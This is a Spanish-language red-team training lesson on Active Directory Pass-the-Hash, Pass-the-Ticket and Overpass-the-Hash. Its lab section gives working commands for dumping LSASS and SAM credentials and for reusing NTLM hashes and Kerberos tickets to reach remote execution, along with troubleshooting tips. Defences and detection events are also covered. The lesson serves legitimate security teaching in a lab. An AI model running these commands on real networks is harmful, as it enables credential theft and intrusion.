

Clase 172 — Active Directory: Pass-the-Hash y Pass-the-Ticket

Parte: **7 — Red Team y operaciones ofensivas** · Fuente: *The Hacker Recipes / MITRE ATT&CK T1550* 🕒
Duración estimada: **110 min** · Nivel: **Avanzado**

Objetivo

Dominar el movimiento lateral en Active Directory mediante reutilización de credenciales sin conocer la contraseña en claro: Pass-the-Hash (PtH), Pass-the-Ticket (PtT) y Overpass-the-Hash. El alumno aprenderá a extraer material de autenticación, reutilizarlo para autenticarse en otras máquinas del lab y entender por qué NTLM y Kerberos permiten estos abusos.

Resultados de aprendizaje

Al finalizar, el alumno podrá:

1. **Explicar** por qué NTLM permite Pass-the-Hash.
2. **Ejecutar** PtH para autenticarse con un hash NTLM en el lab.
3. **Realizar** Pass-the-Ticket con un TGT/TGS robado.
4. **Aplicar** Overpass-the-Hash para obtener un TGT desde un hash.
5. **Reconocer** las defensas (Credential Guard, LSA protection, tiering).

Temas

#	Tema	Por qué importa
1	NTLM y el hash	Base de Pass-the-Hash
2	Extracción de credenciales	LSASS, SAM, tickets
3	Pass-the-Hash (T1550.002)	Movimiento lateral sin contraseña
4	Pass-the-Ticket (T1550.003)	Reutilizar TGT/TGS
5	Overpass-the-Hash	Del hash NTLM a un TGT
6	Movimiento lateral	SMB/WMI/WinRM con credenciales
7	Defensas	Credential Guard, tiering, LSA

Definiciones y características

- **Hash NTLM**: derivado de la contraseña usado por NTLM. Característica: "es" la credencial en NTLM; no hace falta descifrarlo.
- **Pass-the-Hash (PtH)**: autenticarse presentando el hash NTLM. Característica: funciona porque NTLM no exige la contraseña en claro.

- **Pass-the-Ticket (PtT)**: inyectar un TGT/TGS robado en la sesión. Característica: reutiliza autenticación Kerberos válida.
- **Overpass-the-Hash**: usar el hash para pedir un TGT (Kerberos) y así moverse. Característica: combina lo mejor de PtH con Kerberos.
- **LSASS**: proceso que guarda credenciales en memoria. Característica: fuente principal de extracción.
- **Credential Guard**: aísla secretos con virtualización. Característica: rompe muchas técnicas de extracción/PtH.

Herramientas y preparación

- AD lab / GOAD con varias máquinas y una cuenta local admin reutilizada (escenario clásico).
- **Mimikatz** / **pypykatz** para extracción; **Impacket** (`psexec.py` , `wmiexec.py` , `secretsdump.py`); **NetExec (nxc)**; **Rubeus** para tickets.
- Privilegios de administrador local en la máquina de origen (para leer LSASS).

⚠ Extraer credenciales de LSASS y reutilizarlas se practica **solo** en tu laboratorio. En un engagement real es una de las acciones más monitorizadas: hazla comprendiendo la telemetría. Nunca en sistemas ajenos sin autorización escrita.

Laboratorio guiado

1. **Extrae hashes (con admin local)**. En la máquina de origen del lab:

```
text secretsdump.py lab.local/adminlocal:pass@10.10.10.20
```

o `pypykatz lsa minidump lsass.dmp` sobre un volcado. 2. **Pass-the-Hash con nxc**:

```
bash nxc smb 10.10.10.30 -u Administrator -H <NTLM_HASH> --local-auth
```

Autentícate sin conocer la contraseña. 3. **Ejecución remota por PtH**:

```
bash psexec.py -hashes :<NTLM_HASH> Administrator@10.10.10.30
```

4. **Overpass-the-Hash con Rubeus**: `Rubeus.exe asktgt /user:svc /rc4:<HASH> /ptt` para obtener e inyectar un TGT.
5. **Pass-the-Ticket**: exporta un TGT (`Rubeus dump / mimikatz sekurlsa::tickets /export`) e inyéctalo con `Rubeus.exe ptt /ticket:ticket.kirbi`.
6. **Muévete lateralmente** hacia una tercera máquina usando el ticket inyectado (WinRM/SMB) y verifica el acceso.
7. **Observa la detección**. Revisa eventos de logon `4624` con tipo/paquete anómalo y accesos a LSASS (Sysmon EID 10) que delatan la técnica.

Ejercicios

1. Explica por qué NTLM permite Pass-the-Hash y Kerberos no directamente.
2. Ejecuta PtH para acceder a una segunda máquina del lab.
3. Realiza Overpass-the-Hash y confirma el TGT con `klist`.
4. Roba e inyecta un TGT para moverte a una tercera máquina.

5. Investiga cómo Credential Guard rompe la extracción de LSASS.
6. Describe el modelo de tiering de Microsoft y cómo limita el movimiento lateral.

Reto verificable

Partiendo de admin local en una máquina del lab, **muévete lateralmente a otras dos máquinas** usando Pass-the-Hash y Pass-the-Ticket (una técnica cada una), sin conocer contraseñas en claro. **Criterio de aceptación:** obtienes ejecución de comandos en dos máquinas destino distintas, una vía PtH y otra vía PtT, mostrando los comandos empleados y el material (hash/ticket) reutilizado. Todo en tu laboratorio.

Errores comunes

Síntoma / mensaje	Causa y cómo arreglar
PtH rechazado (STATUS_LOGON_FAILURE)	Hash o usuario incorrecto, o cuenta de dominio (usa <code>--local-auth</code> para local)
No puedo leer LSASS	Falta admin local o Credential Guard activo; consíguelo o cambia de técnica
PtT no autentica	Ticket expirado o para otro servicio; verifica caducidad y SPN
Overpass falla	Etype/hash equivocado; usa el hash NTLM correcto con <code>/rc4</code>
Detectado al dumppear	Acceso a LSASS muy vigilado; asume telemetría (Sysmon EID 10)

Preguntas frecuentes

? ¿PtH sigue funcionando en Windows moderno? Sí, mientras se use NTLM. Credential Guard, LSA protection y el modelo de tiering lo dificultan, pero muchos entornos siguen siendo vulnerables.

? ¿Diferencia entre PtH y PtT? PtH reutiliza el hash NTLM (autenticación NTLM); PtT reutiliza un ticket Kerberos ya emitido. Overpass-the-Hash es el puente: del hash a un TGT.

? ¿Cómo se defiende una organización? Credential Guard, deshabilitar NTLM donde se pueda, tiering administrativo, LAPS para contraseñas locales únicas y monitorización de accesos a LSASS.

Referencias

- The Hacker Recipes — *Pass-the-Hash / Pass-the-Ticket*.
<https://www.thehacker.recipes/ad/movement/>
- MITRE ATT&CK — *Use Alternate Authentication Material* (T1550).
<https://attack.mitre.org/techniques/T1550/>
- Impacket. <https://github.com/fortra/impacket>
- Rubeus. <https://github.com/GhostPack/Rubeus>

Siguiente clase

Clase 173 - BloodHound y analisis de rutas de ataque